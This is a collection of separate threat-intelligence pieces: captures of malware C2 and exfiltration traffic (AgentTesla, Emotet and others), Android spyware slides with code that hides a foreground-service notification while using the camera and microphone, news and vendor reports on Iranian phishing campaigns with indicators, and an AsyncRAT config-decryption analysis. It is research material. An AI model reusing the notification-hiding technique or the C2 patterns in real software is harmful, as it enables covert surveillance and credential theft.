The short answer is: Yes, there is a way. It makes sense to trace malware traffic for studying purposes, but also to find patterns for network detections in real environments.
First of all, you need to build your own laboratory. You might decide to build a dual VM system, in which VM1 is the victim machine and VM2 is the traffic sniffer, or you might decide to have a single victim machine and the main host sniffing and analyzing traffic streams. This is actually my favorite choice: a single VM called “victim” where I detonate malwares and the main host (the real machine in which the victim is virtualized) where the traffic tools are run. You need to create a certificate and make it trusted from the victim machine in order to facilitate the SSL inspection.
After you set up your own laboratory, you are ready to start your tracking process. Following are some personal notes on my network tracing days. Please note the following collection is a mix-up of personal traced network traffic and the one I found from different friends/posts/reports/repositories as well during the past years.
## AgentTesla
A .NET based keylogger and RAT. Logs keystrokes and the host’s clipboard, it finally beacons this information back to the C2. It has a modular infrastructure, following some of the traffic grabs for the following modules:
### HTTP
```
POST /zin/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: megaplast.co.rs
Content-Length: 308
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
p=G1DZYwdIiDZ6V83seaZCmTT0wiCyOlXVS0OEx4YpkUAOuKO/6hfQJ%2BZD2LjpTbyu9w0gudjYXCIc0Ul74w
```
### FTP
```
<html>Time: 11/25/2019 17:48:57<br>User Name: admin<br>Computer Name: VICTIM-PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 4095.61 MB<br><hr>URL:https://www.facebook.com/<br>Username:[email protected]<br>Password:testpassword<br>Application:Chrome<br><hr>URL:192.168.1.1<br>Username:[email protected]<br>Password:testpassword<br>Application:Outlook<br><hr></html>
```
### SMTP Ex
```
From: [email protected]
To: [email protected]
Date: 12 Oct 2019 17:58:19 +0100
Subject: admin/VICTIM-PC Recovered Cookies
Content-Type: multipart/mixed; boundary=--boundary_0_cac7ba32-e0f8-42d4-8b2e-71d1828e6ff7
----boundary_0_cac7ba32-e0f8-42d4-8b2e-71d1828e6ff7
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
Time: 10/12/2019 11:58:13<br>UserName: admin<br>ComputerName: VICTIM-PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 3583.61 MB<br>IP: 185.183.107.236=0A<hr>
```
## Azorult
AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit. The following network trace is of one of the most relevant POST action taking back pattern with many “/”.
```
POST /index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: 51.38.76.57
Content-Length: 103
Cache-Control: no-cache
J/.8/.:/.</.?/.>O.(8.I/.>/.9/.>K.>8.N/.I/.;/.</.;N.>:.NL.?N.>8.(9.L/.8/.4/.4/.I/.?/.>H.(9.(9.(9.(9.I
```
## Buer Loader
Buer is a downloader sold on underground forums and used by threat actors to deliver payload malware onto target machines. It has been observed in email campaigns and has been sold as a service since August 2019.
```
GET /api/update/YzE0MTY2MGIxZWQ5YzJkMDNmMjQ4MDM0Y2RlZWI2MWM1OTEzYWJmZTIwYWE1OWNjZDFlZjM2Zm HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Host: loood1.top
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 12 Nov 2019 20:00:24 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
```
## Cobalt Strike
Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named ‘Beacon’ on the victim machine. Beacon includes a wealth of functionality to the attacker, including command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning, and lateral movement.
```
GET /Mdt7 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; NP06)
Host: 192.168.1.44
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Wed, 16 Nov 2019 02:13:32 GMT
Content-Type: application/octet-stream
Content-Length: 213589
```
## Danabot
Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims.
## Darkcomet
DarkComet is one of the most famous RATs, developed by Jean-Pierre Lesueur in 2008. After being used in the Syrian civil war in 2011, Lesueur decided to stop developing the trojan.
## Dridex Loader
OxCERT blog describes Dridex as an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server.
```
GET /function.php?3b3988df-c05b-4fca-93cc-8f82af0e3d2b HTTP/1.1
Host: masteronare.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 05 Nov 2019 20:32:12 GMT
Content-Type: application/octet-stream
Content-Length: 455830
Connection: keep-alive
```
## Emotet
While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery.
```
POST /mult/tlb/ HTTP/1.1
Referer: http://69.162.169.173/mult/tlb/
Content-Type: application/x-www-form-urlencoded
DNT: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 69.162.169.173:8080
Content-Length: 468
Connection: Keep-Alive
Cache-Control: no-cache
```
## Formbook
FormBook is yet another Stealer malware. Like most stealer malware, it performs many operations to evade AV vendors when deploying itself on a victim’s machine.
```
POST /k9m/ HTTP/1.1
Host: www.liuhe127.com
Connection: close
Content-Length: 3769
Cache-Control: no-cache
Origin: http://www.liuhe127.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.liuhe127.com/k9m/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
```
## PlugX
RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim’s machine fully.
```
POST /update?wd=b0b9d49c HTTP/1.1
Accept: */*
x-debug: 0
x-request: 0
x-content: 61456
x-storage: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;
Host: 192.168.1.44:8080
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
```
## Quasar
Quasar RAT is a malware family written in .NET which is used by a variety of attackers.
## SmokeLoader
The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware.
```
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://thankg1.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 299
Host: thankg1.org
```
## Trickbot
A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics.
```
GET https://190.154.203.218:449/trg448/JONATHAN-PC_W617601.F330EDDF8E877AF892B08D9522EAD4C6/5/spk/
<< 200 OK 224b
GET http://54.225.92.64/
<< 200 OK 12b
```
## Ursnif
In 2006, Gozi v1.0 (‘Gozi CRM’ aka ‘CRM’) aka Papras was first observed.
```
POST /images/wsF0B4sp/ZaYjjdVgt73Q1BSOy_2Fofi/qF_2BfPTuK/5Ha_2F0xEvmbSfT_2/FluJ8ZF_2Fx8/g6x HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary=36775038942641984568
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Content-Length: 399
Host: shoshanna.at
``` |
# Simple Spyware
## Android's Invisible Foreground Services and How to (Ab)use Them
### December 2019
### Who am I
**Thomas Sutter**
**ZHAW**: Research Assistant in Information Security @ Zurich University of Applied Sciences
**Student**: Master of Science in Engineering
**Contact**: [email protected] or via Twitter @Me7e0r232
### Let’s start with the latest privacy changes
#### Background
- Limitations
- Sensor Access
- Location Access
### Android Versions
- 2017: Android Oreo
- 2018: Android Pie
- 2019: Android 10
### How to run stuff in Background?
**Schedulers**
- Alarm Manager
- Job Scheduler
```java
public void scheduleJob() {
long interval = 1000 * 60L;
ComponentName serviceComponent = new ComponentName(this, JobScheduler.class);
JobInfo.Builder builder = new JobInfo.Builder(JOB_ID, serviceComponent);
builder.setPeriodic(interval); // Minimum is 15 minutes
builder.setOverrideDeadline(interval * 2); // Sets the maximum scheduling latency
builder.setMinimumLatency(interval); // Run after delay
JobScheduler jobScheduler = this.getSystemService(JobScheduler.class);
jobScheduler.schedule(builder.build()); // Schedule the job
}
```
### JobInfo.builder
```java
setPersisted(true);
setRequiredNetwork(NetworkRequest networkRequest);
setRequiredNetworkType(int networkType);
setRequiresBatteryNotLow(boolean batteryNotLow);
setRequiresCharging(boolean requiresCharging);
```
### Second step: How to access the data?
**Foreground Service**
- Needs to show a sticky notification
- Notification design is set by the app
- Can be started from background job
- Do not have sensor limitations
- Has to be started within 5 seconds
### How to get rid of the notification?
```java
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// ~ 4.9999.. seconds to call startForeground(...)
Notification notification = createCustomNotification();
this.startForeground(1, notification); // Sensor access not restricted anymore.
accessCamera();
accessMicrophone();
// … some malicious code
stopForeground(true); // Stop the service before notification is loaded
return START_STICKY;
}
```
### Long Running Tasks
- MediaPlayer API
- Apps do not run recording in their own lifecycle context.
### Does this work on Android 10 (Q)?
**New permission level**:
“Allow only while using the app”
### Conclusion
It’s a bug… no, it’s a feature!
### Limitations
- Timing
- Permissions
- Access Visibility
- Mitigation
### Security Issues
- CVE-2019-2219 – Patch is coming soon
- Probably hard to patch design problem as well.
- Security by visibility might not be a good idea.
- Some vendors have permission monitors.
### No Silver Bullet
**Anti-Virus Traffic Analysis**
- Honey Pots
- Fuzzers
- Permission Monitoring
- Execution
- Graphs
- Statistics & Heuristics
### Revocation
- Secure Design & Transparency
- Takeaways
- Stop Apps
- Revoke Access
### Demo
- Test yourself! Don’t worry, it’s safe.
### Code
- GitHub: https://github.com/7homasSutter/SimpleSpyware
### APK
- GitHub Releases: https://github.com/7thomasSutter/SimpleSpyware/releases
### Thank you!
There is some more info in the appendix and the whitepaper.
**Contact**: [email protected] or via Twitter @Me7e0r232 |
# Inside OilRig -- Tracking Iran's Busiest Hacker Crew On Its Global Rampage
Thomas Brewster
February 15, 2017
Iran has become one of the more prolific nations when it comes to cyberespionage, according to U.S. experts. AI Squared, a small, mission-driven tech firm based in a verdant corner of Vermont, builds software that alters websites to help those with visual impairment use the internet. It never expected to become an innocent victim in an international cyberespionage campaign allegedly perpetrated by Iran.
But AI Squared is now living proof that any American business, be it Microsoft-sized or a minnow, is a potential victim of Iran's increasingly sophisticated and prolific digital army. Indeed, AI Squared has become the only known private American business to have been targeted by a young crew from Iran known as OilRig. Since its birth in late 2015, OilRig has become one of the most active hacking organizations to be sponsored by the Iranian government, according to cybersecurity experts and to U.S. and Israeli intelligence firms.
FORBES is revealing a handful of its targets for the first time, showing its rapid infiltration of systems across the globe in little over a year. While most Iranian groups have typically targeted a niche set of domestic and foreign targets, in particular government agencies and dissidents, OilRig is far more focused on private industry outside of Iran. "What's interesting about OilRig is how much it's just foreign focused and is interested in the private sector as much as it's interested in the diplomatic establishment," said Collin Anderson, a Washington D.C.-based researcher who is drawing up a report for Carnegie Mellon on Iran's overall cyber power. And though it's unclear just what data OilRig has siphoned off target systems, the unit is representative of a shift in Iran's cyber strategy, from destructive attacks, such as the infamous hit on the Las Vegas Sands Casino in 2014, to stealthy monitoring of targets.
## An American platform for attack
AI Squared's problems started in the second week of January, when the company received a startling warning from security giant Symantec: Certificates for its technology that are designed to guarantee its authenticity had been compromised. What Symantec didn’t say, and what AI Squared is now investigating after FORBES disclosed the Iranian link to the company, was that OilRig was believed to have been responsible.
The crew stole AI Squared certificates and used them to disguise their own malware. The goal was to make their surveillance tools appear legitimate to security systems of their many targets across the Middle East, Europe, and the U.S., as noted in a report from Israeli security provider ClearSky in early January. The OilRig hackers pushed those espionage tools over two fake Oxford University pages in November 2016, one claiming to offer jobs at the institution, the other a conference sign-up website, ClearSky said. Both encouraged visitors to download documents, one to complete registration for the fake event, the other for an Oxford University CV creator. Once clicked, the crew's malware, named Helminth, would run, allowing the OilRig crew to control targets’ PCs and steal data.
AI Squared, owned by Florida-based VFO Group since a June 2016 acquisition, only received vague details on the compromise from Symantec and is only now launching an investigation. "Could someone else have hacked into our systems? We’re pretty secure here, but they hacked the White House, they can hack anywhere they want," said Scott Moore, marketing VP at VFO Group, which claims to be "the world's leading assistive technology provider for the visually impaired." The company is yet to find any conclusive findings.
## Gunning for government officials
Many other organizations have become victims of OilRig's crew in recent years. Intelligence firms believe OilRig has taken control of multiple email accounts of public and private organizations. With that access, they’ve expanded their phishing campaigns in the U.S., Saudi Arabia, Turkey, and beyond.
One OilRig phishing email viewed by FORBES, dated July 2016, was addressed to three officials at Turkey’s foreign ministry. They included an adviser to the Permanent Mission of Turkey to the United Nations, based in New York, a staffer at the Turkish embassy staff in Riga, Latvia, and another official based in Turkey. It was sent from an official Turkish Airlines check-in address, indicating the hackers had either compromised the airline’s email or spoofed the account. The message encouraged the recipient to provide login details via an attached Excel file. Once opened, the group’s Helminth malware would run.
The Turkish adviser in New York said he had never seen the phishing email and so couldn’t have clicked on the link. At the time of publication, the other targets had not responded to multiple requests for comment. Turkish Airlines also had not returned requests. Despite the phishing email itself showing who OilRig was trying to expose, it’s not known if either organization was successfully hacked.
But similar malicious documents were sent to multiple other government organizations across the world, according to Palo Alto Networks, which first published the phishing email without naming the parties involved.
## Private industry attacks
OilRig has gone after multiple private companies too. Another phish was attempted in May 2016 by the hackers that, according to the metadata in the email headers, was sent from servers within Saudi Arabian government contractor and IT security supplier Al-Elm. That could indicate a breach at Al-Elm, according to the security researcher who showed FORBES the email.
The message was injected into an ongoing email thread between Al-Elm and Samba, part of the Samba Financial Group, the kingdom's third largest lender that reported $290 million profit last quarter. The message contained a version of OilRig’s Helminth surveillance kit, which would launch as soon as a recipient opened an attached document, in this case an Excel file called “notes.xls.” Neither Al-Elm nor Samba had responded to requests for comment.
According to a report released Wednesday by cyber intelligence firm SecureWorks, which has dubbed the OilRig crew Cobalt Gypsy, the group was active this January, sending out messages loaded with malware from legitimate email addresses belonging to one of Saudi Arabia's biggest IT suppliers, the National Technology Group, and an Egyptian IT services firm, ITWorx. From those email accounts, an unnamed Middle East entity was targeted with messages promising links to job offers. Hidden in the attachments was PupyRAT, an open source remote access trojan (RAT) that works across Android, Linux, and Windows platforms.
One of OilRig's favorite methods of infection is sending out job ads. Neither the National Technology Group nor ITWorx had responded to requests for comment. Just as in the case of Al-Elm, analysis of the headers of the phishing emails indicated they originated from within the sender’s organization, and were not spoofed, SecureWorks said. That indicated "the threat actor previously compromised those organizations," according to SecureWorks intelligence analyst Allison Wikoff.
The SecureWorks Counter Threat Unit has repeatedly informed its customers across government and private sector with “high confidence” that OilRig “is associated with Iranian government-directed cyber operations.” CrowdStrike, which dubs the group Twisted Kitten, has connected it with Iran too. And Israeli firm ClearSky has also traced the crew back to the Middle East nation.
"They're very active, possibly the most active group [in Iran]," said Rafe Pilling, security researcher at SecureWorks. "They are capable and have demonstrated that capability to leverage their phishing ops." The Iranian government hadn't responded to a request for comment on the OilRig group at the time of publication. In the past, Iran has denied involvement in cyberespionage and digital attacks on foreign systems.
## Iran's freewheeling cyber spies
Outside of OilRig, other reports of Iranian activity have caused alarm across the security community in the last year, for both their sophistication and their novelty. One of only a handful of Mac malware samples was attributed to the Iranian government earlier this month. Just last year, the U.S. indicted seven Iranians for their alleged participation in attacks on U.S. financial institutions. One was also charged with an attempt to hack the Bowman Dam in New York. The accused reside in Iran and are not expected to be extradited to stand trial. Iran denied involvement in the attacks.
Anderson, who uncovered the Mac malware, said Iran had created a hodgepodge of hackers, some of whom were capable of causing severe harm. “It's chaotic, five or six-man shops that produce mediocre malware,” said Anderson, who tracks a substantial amount of Iran cyber activity with fellow researcher Claudio Guarnieri. “Sometimes they do some catastrophic damage, most of the time not so much.”
U.S. cyber experts are now looking at how OilRig and its sister crews will respond to the Trump administration's stance on Iran, which will be looking at how the president's meeting with Israeli prime minister Benjamin Netanyahu. "The Iranians are being cautious about provoking the US until they see how the Trump administration lines up on Iran policy," said James Lewis, an intelligence and security specialist at the Center for Strategic and International Studies. "Let’s see what happens with the Netanyahu visit." |
# Thamar Reservoir: An Iranian Cyber-Attack Campaign Against Targets in the Middle East
This report reviews an ongoing cyber-attack campaign dating back to mid-2014. Additional sources indicate this campaign may date as far back as 2011. We call this campaign Thamar Reservoir, named after one of the targets, Thamar E. Gindin, who exposed new information about the attack and is currently assisting with the investigation.
The campaign includes several different attacks with the aim of taking over the target’s computer or gaining access to their email account. We estimate that this access is used for espionage or other nation-state interests, and not for monetary gain or hacktivism. In some cases, the victim is not the final target; the attackers use the infected computer, email, or stolen credentials as a platform to further attack their intended target.
The attackers are extremely persistent in their attempts to breach their targets. These attempts include:
- Breaching trusted websites to set up fake pages
- Multi-stage malware
- Multiple spear phishing emails based on reconnaissance and information gathering
- Phone calls to the target
- Messages on social networks
While very successful in their attacks, the attackers are clearly not technically sophisticated. They are not new to hacking but do make various mistakes, such as grammatical errors, exposure of attack infrastructure, easy to bypass anti-analysis techniques, lack of code obfuscation, and more.
These mistakes enabled us to learn about their infrastructure and methods. More importantly, we have learned of 550 targets, most of them in the Middle East, from various fields: research about diplomacy, Middle East and Iran, international relations, defense and security, journalism, and human rights.
Various characteristics of the attacks and their targets bring us to the conclusion that the threat actors are Iranian. In addition, we note that these attacks share characteristics with previously documented activities:
- Attacks conducted using the Gholee malware, which we discovered
- Attacks reported by Trend Micro in Operation Woolen-Goldfish
- Attacks conducted by the Ajax Security Team as documented by FireEye
- Attacks seen during Newscaster as documented by iSight
## Modus Operandi - Investigation of Targeted Attacks
This chapter contains an in-depth analysis of a series of attacks against one of the Thamar Reservoir targets. The heavy attack began two days after the target, Dr. Thamar E. Gindin, was interviewed on the IDF radio station.
Over the course of two weeks, the threat actor used the following attacks against a single target:
1. One spear phishing email containing malware.
2. Three separate email messages with links to a fake log-in page, including two-factor authentication, one of them hosted on a breached website, the other two on dedicated domains.
3. Two phone calls from the attacker, designed to build rapport for one of the phishing emails.
4. Numerous attempts to take over cloud accounts using their Account Recovery mechanism.
5. Numerous messages on Facebook and by email.
While we describe this case mostly from the point of view of a single target, we would like to emphasize that these scenarios repeated themselves for many other targets.
### Part 1 - Spear Phish #1 - With Malware
In May 2015, a legitimate email was sent asking several researchers to fill out a form that was sent as a Word document. The attackers obtained this correspondence, presumably by breaching the email account of the sender. They created a new Gmail account with a username similar to that of the original sender. Then, they sent the recipients a follow-up message (including the initial correspondence), asking them to fill up the attached form again. This time, the attachment was a weaponized Microsoft Excel file.
In other cases, the attackers used the same methods - sending malware or phishing from a cloud email service (such as Gmail or Hotmail) using a username similar to that used by one of the target’s acquaintances.
The malicious email was written in the original language of the correspondence - Hebrew. But it is clear that the attackers do not know Hebrew, as they made grammatical errors in the few words they have added to it. Other messages, in English and Farsi, were analyzed by several specialists and were determined to have been written by a native Iranian Persian speaker.
### Part 2 - Phone Calls to Victims
A week later, the attackers called the target’s office number. The office manager, who received the call, later said that someone with “bad English” had asked to schedule an interview. The attackers later called the target’s personal cell phone and left a similar message with a callback number in London.
The attackers called the targets in other cases as well. For example, after breaching the password of a victim back in November 2014, the attacker called, pretending to be the assistant of a professor abroad who wished to talk to the victim. After several “unexplained” cut-offs during the call, the attacker said they should switch to Google Hangout, asking for the “conversation code” the victim had just received to his cell phone. The code was actually the second factor authentication for the victim’s Gmail account. As soon as he gave it away, the attackers took over his Gmail, Facebook, and other accounts.
### Part 3 - Spear Phishing #2
That evening, the target received an email written in Farsi, coming from a spoofed [email protected] email address (the real address of BBC Farsi). The message was a follow-up on the call that morning, asking to schedule the interview for the next day.
The headers of the message indicate that it was spoofed and was actually sent from a server in Hungary, mail5.maxer.hu. The email contained a linked text, Document.pdf, with a URL that misled the target into thinking it was legitimate.
### Part 4 - Breaking into an Israeli Research Institute to Set Up Phishing Page #3
The next morning, several targets received an email inviting them to participate in an "Iran Israel Forum" of an Israeli research institute. The email contained various grammatical mistakes. Moreover, anyone who knows the institute would notice that parts of the message are inaccurate.
The words “Access To Forum” linked to a page within the real, compromised website of the institute. Clicking one of the sign-in options led to a custom-made log-in page, again, with the target’s username, email, and picture already present.
### Part 5 - Spear Phishing #4
Four days later, the target received an email from the same fake address as in part 1. The email contained the real textual signature of the sender, and the word "Toda" (Thank you, in Hebrew), as the sender usually writes. The hyperlink text in the message appeared to be leading to youtube.com but in fact linked to a fake address that only looked like a YouTube domain.
### Part 6 - Abusing Account Recovery Mechanisms
During the writing of this article, the attackers continued to attempt to take over various accounts of the target. For example, they tried to fool Google into giving them access to the target’s Gmail accounts using the Google Account Recovery process.
### Part 7 - Private Messages
The target has been contacted by various “weird” characters on Facebook and by email. They have been asking her various questions that have nothing to do with her professional expertise and tried to contact her in various ways. The conversations are conducted in Persian.
## Targets and Further Incidents
So far we have exposed a list of more than 500 targets by name and email. The targets come mostly from the following fields:
- Academic researchers and practitioners in the fields of counter-terror, diplomacy, international relations, Iran and Middle East, and other fields, such as Physics.
- Security and defense.
- Journalists and human rights activists.
In some cases, the attackers tried to breach the account of a relative or colleague of the real target.
### Further Incidents
We have investigated and can publicly mention the following incident by the same threat actor:
- A security company had numerous employees targeted with customized phishing pages. The attackers managed to infect computers within the company and steal information.
- A fake Gmail account was set up using the name of the head of a research center. Following, several of his contacts received targeted phishing emails from the fake account.
- A fake domain has been set up, imitating that of the “Interdisciplinary Center Herzliya”, an Israeli college, and has been used in attacks.
## The Iranian Connection
Several characteristics of the attacks have led us to the conclusion that an Iranian threat actor is the likely culprit. We assume, though do not have direct evidence, that it is being supported by the Iranian regime, or performed by the regime itself:
- The context of the attacks and cover stories all revolve around Iran. The attackers speak and write in native Iranian Persian and make mistakes characteristic of Persian speakers.
- The targets and victims match the interests of Iran. The attackers only steal information and use the access to computers for further attacks, indicating espionage, IP theft, etc.
- The TTPs match those of attackers and attacks that were attributed to Iran by other security companies.
## Malware Analysis
The malicious Excel file serves as a Dropper - it creates two files and runs them. When opening the Excel file, the user sees a blank sheet and the standard "Macros have been disabled” message. If enabled by the user, the macro drops NTUSER.dat{GUID}.exe and tmp.bat. The content of the Excel sheet is then presented. It is case-specific and customized to the victim.
Different malware can be downloaded to the infected computer. On an infected computer we have analyzed, we found CWoolger Keylogger.
### Technical Indicators and IoC
**Domains hosting phishing pages:**
- login-users.com
- drives-google.co
- qooqle.co
- video.qooqle.co
- drive-google.co
- gfimail.us
- Google-Setting.com
- Google-Verify.com
- Mail-Verify.com
**IPs of phishing pages:**
- 107.6.172.51
- 5.39.223.227
- 31.192.105.10
**Malware:**
- Downloader:
- MD5: 55ff220e38556ff902528ac984fc72dc
- SHA-1: b67572a18282e79974dc61fffb8ca3d0f4fca1b0
- SHA-256: 072a43123e755ad1bdd159488a85a353227ec51f273c4f79c26ff7e4656c0ef4
**Malicious Email Accounts:**
- [email protected] |
# Playing with AsyncRAT
AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open-source remote administration tool; however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kits, and other techniques. We will discuss .NET code with dnSpy to learn how it works.
## Sample Overview
**sha256:** 8021f8aa674ce3a2ccb2e8f917ebaf5b638607447f0df0e405e837dd2e7a7ccd
This sample is packed, and I unpacked it automatically with unpac.me (online unpacker) and got this.
### Initialization
First, Malware sleeps for 3 seconds. I don’t know why, but it’s okay. Second, it tries to initialize all settings depending on hardcoded configurations.
### Settings Details
Malware decrypts all configurations from AES256 encryption algorithm here. Then verifies the integrity of these configurations and returns the result. If false, it exits from the process. You can extract values using a debugger. Then malware checks if any of these configurations changed using `Serversignature` and `ServerCertificate` with `VerifyHash` function and returns the result. It’s something like a watermark in coding :)
### Config Decryption
I’m not an encryption nerd, but I will try to explain as I can. We don’t need to understand how it works to continue our analysis, but I would love to give some help to learn some useful things. If you don’t care, just scroll the whole topic and go to Mutex creation. Let’s start with `Key = ejFjc0p0QWtudENHVTdsakhjTExYbm1KM1RqbTVUMlA=`. It converts the key from Base64 then encodes to UTF8, so now `Key = z1csJtAkntCGU7ljHcLLXnmJ3Tjm5T2P`.
### Deriving Keys
This link gives you a complete definition of this encryption algorithm. The usage of it is to derive a new key in runtime from our previous key. To solve it, we have to focus on its parameters `dec_key = PBKDF2(key, Salt, iterations)`.
Then use this `dec_key` with AES256 algorithm to decrypt all configurations. This method divides the given config, like `ports`, into 3 sections:
- Data[:32] -> HMAC-SHA256 value
- Data[32:48] -> IV
- Data[48:] -> Encrypted bytes
### Script
This Python script automates all decoding components.
```python
# 1) use PBKDF2 to derive the decryption key and initialization key used for sha
# 2) calculate sha256 of data[32:] and compare it to the embedded sha256 hash (data[:32]) (We don't care here)
# 3) iv = data[32:48]
# 4) aes_dec(key, iv, data[48:])
# pip install backports.pbkdf2
# pip install malduck
from backports.pbkdf2 import pbkdf2_hmac
from base64 import b64decode
from malduck import aes, unpad
salt = b"\xbf\xeb\x1e\x56\xfb\xcd\x97\x3b\xb2\x19\x02\x24\x30\xa5\x78\x43\x00\x3d\x56\x44\xd2"
key = b"ejFjc0p0QWtudENHVTdsakhjTExYbm1KM1RqbTVUMlA="
config = {
"Ports": "UGCInR8TOWCBkQI6fVXrRZ4Yj+b4OvMqcvbx3n2pTLIpcwWtvmX+PX6uN7uIsx65cuUHbVopkDdPuRbLHd6jf",
"Hosts": "k/33hCqQ1vnvaz3j8VvjdZRXF/poiYruJfX1WbFuFhwXYuNriBFrqyi0fQfk4xN0LS85PC6oOtCuLYarjJSnL",
"Version": "WG0EkFzynw3wCeMtt128RLUZgT6BSNw7pqLDg9XUMRmpx5WpQw1ZN64GLHYrP/h47iM2KImVVeY0wAT1RqMVV",
"Install": "3/TL2kdA5ptdHUR1gfeiPmkurKrJsw3BjJ7njALFi+ouT64Tx5oE1P7U7NktNpWfBZVmmjxeR/xSyR14NdEPc",
"MTX": "7vyshlirEg6SwhKPRttI85LoRXYLoFWLzaDM4h57MqKcy9iihijskYVbiDhhZu5qzqRxMBX5DpJ6dAfancdQ8",
"Anti": "fvHzWJyCKwkBHk/dOoyPPC5w+F3GyNg0t7NAj8VXjA2b0ntbSqH11xvQACf2jGX7VSLAd6BjykqqQIJAb98Ve",
"Pastebin": "B52OeJUAfsMHW3Ea2wBUni41OckwUyCtHz3yHsDSn9XjE4U+ncvS0Kmik61ZnDWTm+oNBPoQaDb5PHqfInPGX",
"BDOS": "++zHWqz0o5rkma5tjGrmNMSXzvLTZVOFmlOz4lhTPTPejjFLjqH/rhhciAYgm+Mq5bOazkPYeFGYC8q5I47wV",
"Group": "fwbqIWwfsG6vrljdbLznhYHm5g+qylXiJVparVYZ5s61hXK84/sQMNn6fTH09rZ+MeWdbYV1AhcKtEpQzJ6I5"
}
key = b64decode(key)
dec_key = pbkdf2_hmac("sha1", key, salt, 50000, 32)
for k, v in config.items():
data = b64decode(v)
iv = data[32:48]
decrypted = unpad(aes.cbc.decrypt(dec_key, iv, data[48:]))
print("{}: {}".format(k, decrypted.decode("utf-8")))
```
After running the script, we have a clean config.
- **key**: "z1csJtAkntCGU7ljHcLLXnmJ3Tjm5T2P"
- **ports**: "6606,7707,8808"
- **Host**: "jeazerlog.duckdns.org"
- **version**: "0.5.7B"
- **Install**: "false"
- **MTX**: "AsyncMutex_6SI8OkPnk"
- **Pastebin**: "null"
- **Anti**: "false"
- **BDOS**: "false"
- **Group**: "gta"
I want to note that the malware also extracted Hwid while execution, and I got its value using the debugger `Hwid = 1021C7B642607CE65116`.
### Mutex
The bad boy tries to make a Mutex handle with MTX value extracted from Settings to prevent the duplication of the process `MTX = "AsyncMutex_6SI8OkPnk"` and tells Windows to “end the duplicated process”.
### Anti Analysis
We are lucky because malware doesn’t use any anti-analysis technique according to `Anti = false` in Settings class. But I will explain what if a malware developer chooses a difficult path with analysis `Anti = true`. The malware developer would have used five methods to make it difficult for the malware analyst to use:
1. **VM detection**: Malware searching in Manufacture Model for keywords like `VIRTUAL`, `vmware`, or `VirtualBox`.
2. **Debugger detection**: Check if the debugger is present to stop the process.
3. **SandBox detection**: Trying to get a handle from SbieDll.dll that belongs to every sandbox.
4. **Small Disk detection**: Most secure labs for malware analyzers such as virtual machines contain a small disk.
5. **XP Windows detection**: You know, nobody uses XP today except for malware analysis or something.
Let’s move on to the next step in our main function.
### Install
Once again, we are in luck; the malware author decided not to use any persistence mechanism according to `Install = false`. But I will explain the hard path again, what if `Install = true` in Settings?
The first thing is that the malware checks the path it is running on, and if it is not the same as the path in the settings, the running process is erased. The malware creates a `.bat` file in the `%temp%` to run a new process, created in the hardcoded path `%AppData%`, then deletes itself.
### Persistence
